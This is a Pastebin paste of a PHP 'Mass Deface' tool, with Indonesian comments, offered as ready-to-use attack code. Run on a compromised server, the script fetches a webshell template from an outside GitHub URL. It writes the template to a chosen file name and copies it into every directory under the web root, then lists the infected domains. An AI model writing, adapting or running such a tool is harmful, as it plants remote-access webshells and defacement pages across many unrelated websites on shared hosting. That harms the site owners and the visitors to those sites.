Advertisement
blackhat1337

Untitled

Dec 27th, 2024
17
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.50 KB | None | 0 0
  1. <?php
  2. ################################
  3. ## Script Mass Deface 1dir ##
  4. ## ##
  5. ## Coded by ##
  6. ## Monkey B Luffy ##
  7. ## Copyright 2017 Bc0de.NET ##
  8. ################################
  9.  
  10. if (isset($_POST['gogo'])) {
  11. error_reporting(0);
  12. echo "<html><body bgcolor='black'>";
  13.  
  14. $nama = $_POST['namefile']; // ganti nama filenya
  15. // $sc = $_POST['sc']; // isiin link script mu
  16. $sc = file_get_contents('https://raw.githubusercontent.com/exploit-haxor/webshell/main/template.php'); // isiin link script mu
  17.  
  18. $bikin = fopen($nama, "w");
  19. fwrite($bikin, $sc);
  20. fclose($bikin);
  21. $root = $_POST['pwd'];
  22. $scan = scandir($root);
  23. foreach ( $scan as $a ) {
  24. $dir = $a;
  25. $gas = $root.'/'.$a.'/'.$nama;
  26. $asu = @copy($nama, $gas);
  27. if($asu) {
  28. echo "<b><font color='lime'>[ DOMAIN ] <a href='http://$dir/$nama' target='_blank'>http://$dir/$nama</a></font></b><br>";
  29. echo "<font color='lime'>DONE => $gas</font><br>";
  30. } else { echo "<font color=red>FAILED => $dir</font><br>"; }
  31. }
  32. echo "</body></html>";
  33. } else {
  34. $dirr = $_SERVER['DOCUMENT_ROOT'];
  35. echo "<html>
  36. <center>
  37. <body>
  38. <h1>Mass Deface 1Dir Tools</h1>
  39. <form method='post' action=''>
  40. <font>* Jika bukan berada di <i>public_html</i> silahkan hapus folder tambahannya</font><br>
  41. <input type='text' name='pwd' size='50' value='$dirr'><br><br>
  42. <input type='text' name='namefile' size='50' placeholder='maqlo.php'><br><br>
  43. <input type='submit' name='gogo' value='Mass Deface'><br>
  44. </form>
  45. </body>
  46. </html>";
  47. }
  48. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement